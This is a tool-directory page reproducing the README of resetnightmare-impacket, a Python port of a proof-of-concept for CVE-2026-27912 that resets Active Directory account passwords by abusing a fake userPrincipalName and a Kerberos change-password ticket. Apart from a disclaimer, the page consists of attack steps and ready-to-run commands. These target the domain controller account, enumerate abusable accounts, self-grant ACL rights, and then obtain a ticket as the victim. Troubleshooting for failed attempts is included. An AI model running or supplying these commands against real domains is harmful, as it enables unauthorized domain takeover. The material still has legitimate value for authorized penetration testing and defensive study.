Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC | Kitploit
Tools/GitHubGitHub/mihat2/resetnightmare-impacket
Password AttacksVulnerability AnalysisExploitationInformation GatheringPenetration TestingAuthenticationRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC

View Repository
1428 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ResetNightmare — CVE-2026-27912

Linux / impacket tooling for CVE-2026-27912 ("ResetNightmare"). Resets a target Active Directory account's password by requesting a kadmin/changepw TGT for an NT_ENTERPRISE principal whose name is the target's sAMAccountName, using an account (UPNUser) on which we can write a fake userPrincipalName.

Python port of the Semperis Community Invoke-ResetNightmare PowerShell tool (see Credits).

⚠️ Legal disclaimer

For authorized security testing and educational use only. This tool changes real Active Directory credentials and can lock accounts out.

  • Only run it against systems you own or have explicit written permission to test (a signed engagement or a lab you control).
  • Unauthorized access to computer systems is illegal (e.g. the US CFAA, the UK Computer Misuse Act, and equivalents) and can carry criminal and civil penalties.
  • The authors accept no liability for misuse. The software is provided "AS IS" — see the LICENSE. If you don't have permission, do not run this.

How it works

  1. (optional) Create UPNUser, self-grant GenericAll, set its password, enable it.
  2. Resolve the target's sAMAccountName.
  3. Set UPNUser.userPrincipalName = <targetSAN> (the fake UPN).
  4. AS-REQ as NT_ENTERPRISE '<targetSAN>' for kadmin/changepw — the KDC maps the enterprise UPN to the target and issues a change-password TGT for it.
  5. Clear the fake UPN.
  6. kpasswd change-password with that TGT → sets the target's password.
  7. Restore UPNUser's original UPN.

Choosing --upn-user

--upn-user is the account you write the fake UPN on (a user, or a computer with --computer). The only requirement is that you can write its userPrincipalName. There are three ways to get that — the same ones the PowerShell original relies on:

So you do not necessarily need to control an OU — path B works off delegated rights on any single account. But you need one of A/B/C. Run --find to see which you have.

A domain computer alone is not enough. A machine you're local admin on / hold the hash for — but have no AD write rights on — gives you none of A/B/C. And a computer created via MachineAccountQuota (addcomputer.py into CN=Computers) does not work either: its creator is not the owner and gets no UPN write, so both the direct write and --grant-self fail with result 50. Use path A with a delegated OU.

Install

root@kitploit:~
python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Usage

Operator credentials are the first positional argument: [domain/]username[:password]. Any password may be omitted and you'll be prompted for it.

Recon — what can this account abuse? Reports accounts you can write a UPN on, OUs you can create objects in, and the MachineAccountQuota, with suggested commands:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Each finding prints its via: reason(s) and the object's owner:. The owner tells the two computer-creation paths apart at a glance — a delegated-container computer shows owner: <you> (you have implicit WRITE_DAC, so --grant-self works), while a MAQ / CN=Computers one shows owner: BUILTIN\Administrators (you don't, so it can't be used):

root@kitploit:~
=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

Reset a target using an account you can write a UPN on:

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Create the UPN account first (needs Create Child on the OU, and LDAPS):

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Create a computer account as the UPN account (--create-new-path + --computer):

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Existing account where you can rewrite the DACL but not write the UPN (--grant-self). When --find reports a --upn-user reachable via Owner or WriteDacl (you can change its ACL but have no direct property write), --grant-self adds a GenericAll ACE for you first, then the attack proceeds. Only for existing accounts — --create-new-path already grants itself.

root@kitploit:~
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

If --grant-self itself fails with result 50, you are not the owner and have no WriteDacl on that account — it can't help. This is the usual outcome for a computer you created via addcomputer.py/MAQ: creators typically get neither ownership nor a UPN write, so MAQ computers are not usable as --upn-user. Run --find and pick an account it flags as WriteProperty(userPrincipalName), GenericWrite, GenericAll, Owner, or WriteDacl.

Add -debug for verbose AS-REQ / LDAP / kpasswd logging.

Flags

Passwords are prompted for interactively when omitted.

Troubleshooting

--create-new-path failures:

result 50, insufficientAccessRights on "Setting a fake UPN": your operator has no WriteProperty(userPrincipalName) on --upn-user. If you can rewrite that account's DACL (you're its Owner or have WriteDacl), add --grant-self to grant yourself GenericAll first. If --grant-self also returns result 50, you have neither — pick a different account with --find.

A computer you created via addcomputer.py/MAQ is not a fix here: MAQ creators usually get neither ownership nor WriteProperty(UPN), so both the UPN write and --grant-self fail with result 50. Don't rely on MAQ for --upn-user.

Notes:

  • LDAPS is on by default. AD only accepts unicodePwd writes over TLS, so --create-new-path needs it. Use --no-ssl only for read/UPN-only paths.
  • --find reports only allow ACEs granted to you or your groups (plus object ownership and MachineAccountQuota); deny ACEs and cross-domain memberships aren't fully evaluated. An empty result is not proof there's no path — verify before use.

After success

The tool prints a follow-up to obtain a usable ticket as the target:

root@kitploit:~
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Credits

  • Semperis Community — ResetNightmare — original research and the Invoke-ResetNightmare PowerShell tool this project ports.
  • impacket — Kerberos and ldaptypes primitives.
  • ldap3 — the LDAP client.

Independent community port; not affiliated with or endorsed by Semperis.

License

MIT © 2026 mihat2.

Download Tool
#How you get UPN-writeFlagNeeds an OU?
ACreate the account in an OU where you have Create Child → you own it → the tool self-grants GenericAll → writes the UPN--create-new-pathYes
BAn existing account you already have GenericWrite / GenericAll / WriteProperty(userPrincipalName) on(none)No
CAn existing account you own or have WriteDacl on (no direct property write)--grant-selfNo
FlagMeaning
<positional>Operator creds: [domain/]username[:password]
--target-accountsAMAccountName to reset (computer accounts end with $)
--target-new-passwordNew password to set on the target
--upn-userAccount to write the fake UPN on (or create with --create-new-path)
--upn-user-passwordCleartext password of --upn-user
--computerTreat --upn-user as a machine account
--create-new-path <DN>OU/Container to create --upn-user in first (needs LDAPS)
--grant-selfGrant the operator GenericAll on an existing --upn-user you own before writing the UPN (needs ownership / WriteDacl)
--findRecon: report abusable accounts/OUs (with each finding's owner) + suggested commands, then exit
--list-ousList OUs/containers and exit (pick a valid --create-new-path)
--aes-key <hex>AES key of --upn-user for the AS-REQ instead of a password
--upn-user-hash <NT>NT hash (or LM:NT) of --upn-user for the AS-REQ instead of a password
-k, --kerberosKerberos (SASL/GSSAPI) LDAP bind (uses KRB5CCNAME)
-H LM:NTPass-the-hash LDAP (NTLM) bind
--no-passDon't prompt for a password (use -k / KRB5CCNAME)
--dc-hostDC hostname/FQDN (for Kerberos SPNs)
--dc-ipDC IP address
--no-sslPlain LDAP/389 (incompatible with --create-new-path)
--supported-encryptionPreferred enctype, informational (default aes256)
-debugVerbose logging
SymptomCauseFix
result 50, insufficientAccessRightsThe OU exists but you have no Create Child right on it.Use an OU you can write to (--list-ous / --find), or drop --create-new-path and abuse an existing account via --upn-user.
result 32, noSuchObject — best match: DC=corp,DC=localThe DN's parent chain doesn't exist (partial/guessed DN).Enumerate with --list-ous and paste the full nested DN. OUs are nested; a name alone isn't its path.
result 53, unwillingToPerform on the password stepunicodePwd write over a non-TLS channel, or a weak password vs. policy.Keep LDAPS (don't pass --no-ssl); use a compliant password.